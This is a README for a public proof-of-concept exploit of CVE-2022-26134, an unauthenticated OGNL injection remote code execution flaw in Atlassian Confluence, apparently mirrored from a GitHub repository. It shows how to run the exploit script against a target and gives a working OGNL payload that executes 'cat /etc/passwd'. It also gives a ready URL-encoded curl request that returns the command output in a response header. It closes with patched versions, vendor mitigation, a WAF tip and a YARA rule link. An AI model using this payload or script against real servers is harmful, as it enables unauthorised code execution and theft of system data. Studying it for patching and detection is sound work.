来源

关联漏洞

介绍

### CVE-2022-26134 - OGNL injection vulnerability.

Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.


### Affected versions

All supported versions of Confluence Server and Data Center are affected.<br>
Confluence Server and Data Center versions after 1.3.0 and bellow 7.18.1 are affected.<br>
The vulnerability has a CVSS score of 10 out of 10 for criticality.<br>

### Dependencies:
- Python 3.3+
- The dependencies can be satisfied via pip install -r requirements.txt

### How to use:

Clone the repo
```bash
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
```

Then you can run the exploit with the command of your choice as follow:
```python
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"
```

 ### Video Proof of Concept

![Script PoC CVE-2022-26134](https://i.ibb.co/gSDs1Bz/CVE-2022-26134.png)

[![Video PoC CVE-2022-26134 OGNL injection Atlassian Confluence](https://i.ibb.co/7gXHL9q/500px-youtube-social-play.png)](https://youtu.be/AoPVDMihNgA)

 ### Payload
 
 ```java
 ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
 ```
 

Example with CURL command:
```bash
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D" 
```

Then, the result of the command will be reflected in the parameter `X-Cmd-Response` in the response header. 

### Mitigations guidelines from vendors

Follow the official recommendations from Atlassian:<br>
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

### Patched Versions
Atlassian released versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 which contain a patch for this issue.

### Detect capabilities
This vulnerability affects all self-hosted instances. If you use a WAF you can block URLS with `${` inside.

YARA (by Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

### Note
FOR EDUCATIONAL PURPOSE ONLY.<br><br>
![CVE-2022-26134 meme fire](https://pbs.twimg.com/media/FUUb6YrWAAETahZ?format=jpg&name=small)

Credit: https://github.com/Nwqda

文件快照

 [4.0K]  /data/pocs/9527a71cf7d7636065e3e8666c1efa5f398ab9a5
├── [3.2K]  cve-2022-26134.py
├── [2.9K]  README.md
└── [  20]  requirements.txt

0 directories, 3 files

备注